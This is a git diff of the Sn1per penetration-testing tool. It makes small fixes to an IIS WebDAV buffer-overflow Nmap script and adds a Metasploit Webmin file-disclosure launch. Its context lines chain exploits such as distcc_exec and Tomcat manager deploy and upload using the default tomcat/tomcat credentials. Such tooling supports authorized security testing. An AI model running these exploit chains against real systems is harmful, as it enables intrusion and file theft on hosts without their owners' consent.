diff --git a/bin/iis-buffer-overflow.nse b/bin/iis-buffer-overflow.nse index 744ee6d..55e7a62 100644 --- a/bin/iis-buffer-overflow.nse +++ b/bin/iis-buffer-overflow.nse @@ -161,15 +161,15 @@ Original exploit by Zhiniang Peng and Chen Wu. if status == '200' then -- Buffer overflow is successfully executed on the server. - vuln.state = vulns.STATE.EXPLOIT, + vuln.state = vulns.STATE.EXPLOIT vuln.exploit_results = response elseif status == '400' then -- Bad request error is occured because webdav is not installed. - vuln.state = vulns.STATE.LIKELY_VULN, + vuln.state = vulns.STATE.LIKELY_VULN vuln.exploit_results = "Server returned 400: Install webdav and try again." elseif status == '502' then -- Likely to have an error in the Server Name - vuln.state = vulns.STATE.LIKELY_VULN, + vuln.state = vulns.STATE.LIKELY_VULN vuln.exploit_results = "Server returned 502: Please try to change ServerName and run the exploit again" elseif status ~= nil then vuln.exploit_results = response diff --git a/sniper b/sniper index 1919249..d00e21b 100644 --- a/sniper +++ b/sniper @@ -254,6 +254,7 @@ function help { echo ' + -- --=[STEALTH: Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking' echo ' + -- --=[DISCOVER: Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans.' echo ' + -- --=[PORT: Scans a specific port for vulnerabilities. Reporting is not currently available in this mode.' + echo ' + -- --=[FULLPORTONLY: Performs a full detailed port scan and saves results to XML.' echo ' + -- --=[WEB: Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.' echo ' + -- --=[NOBRUTE: Launches a full scan against a target host/domain without brute forcing services.' echo ' + -- --=[AIRSTRIKE: Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.' @@ -1343,7 +1344,7 @@ else msfconsole -x "setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; use unix/misc/distcc_exec; run; exit;" fi -if [ -z "$port_8443" ]; +if [ -z "$port_4443" ]; then echo -e "$OKRED + -- --=[Port 4443 closed... skipping.$RESET" else @@ -1490,6 +1491,7 @@ else cutycapt --url=http://$TARGET:8180 --out=$LOOT_DIR/screenshots/$TARGET-port8180.jpg nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -p 8180 -T5 --script=*proxy* $TARGET echo -e "$OKGREEN + -- ----------------------------=[Launching Webmin File Disclosure Exploit]= -- +$RESET" + msfconsole -x "use auxiliary/admin/webmin/file_disclosure; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; run; exit;" echo -e "$OKGREEN + -- ----------------------------=[Launching Tomcat Exploits]=--------------- -- +$RESET" msfconsole -x "use admin/http/tomcat_administration; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 8180; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" fi